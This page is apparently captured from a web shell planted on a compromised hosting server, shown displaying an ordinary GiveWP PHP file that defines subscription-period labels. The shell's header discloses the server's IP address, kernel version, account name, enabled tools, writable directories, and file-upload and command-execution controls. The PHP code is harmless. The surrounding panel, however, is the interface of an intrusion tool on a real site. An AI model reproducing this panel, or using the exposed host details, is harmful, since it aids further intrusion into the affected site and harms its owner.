403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.147.59.250
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/7779/task/7779/cwd/plugins/give/src/Subscriptions/ValueObjects/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/7779/task/7779/cwd/plugins/give/src/Subscriptions/ValueObjects/SubscriptionPeriod.php
<?php

namespace Give\Subscriptions\ValueObjects;


use Give\Framework\Support\ValueObjects\Enum;

/**
 * @since 2.19.6
 *
 * @method static SubscriptionPeriod DAY()
 * @method static SubscriptionPeriod WEEK()
 * @method static SubscriptionPeriod MONTH()
 * @method static SubscriptionPeriod QUARTER()
 * @method static SubscriptionPeriod YEAR()
 * @method bool isDay
 * @method bool isWeek
 * @method bool isMonth
 * @method bool isQuarter
 * @method bool isYear
 */
class SubscriptionPeriod extends Enum {
    const DAY = 'day';
    const WEEK = 'week';
    const QUARTER = 'quarter';
    const MONTH = 'month';
    const YEAR = 'year';

    /**
     * @since 2.24.0
     *
     * @return array
     */
    public static function labels(): array
    {
        return [
            self::DAY => [__( 'Daily', 'give' ), __( 'Every %d days', 'give' )],
            self::WEEK => [__( 'Weekly', 'give' ), __( 'Every %d weeks', 'give' )],
            self::QUARTER => [__( 'Quarterly', 'give' ), __( 'Every %d quarters', 'give' )],
            self::MONTH => [__( 'Monthly', 'give' ), __( 'Every %d months', 'give' )],
            self::YEAR => [__( 'Yearly', 'give' ), __( 'Every %d years', 'give' )],
        ];
    }

    /**
     * @since 2.24.0
     *
     * @param int $frequency
     *
     * @return string
     */
    public function label(int $frequency): string
    {
        return self::labels()[ $this->getValue() ][$frequency > 1];
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit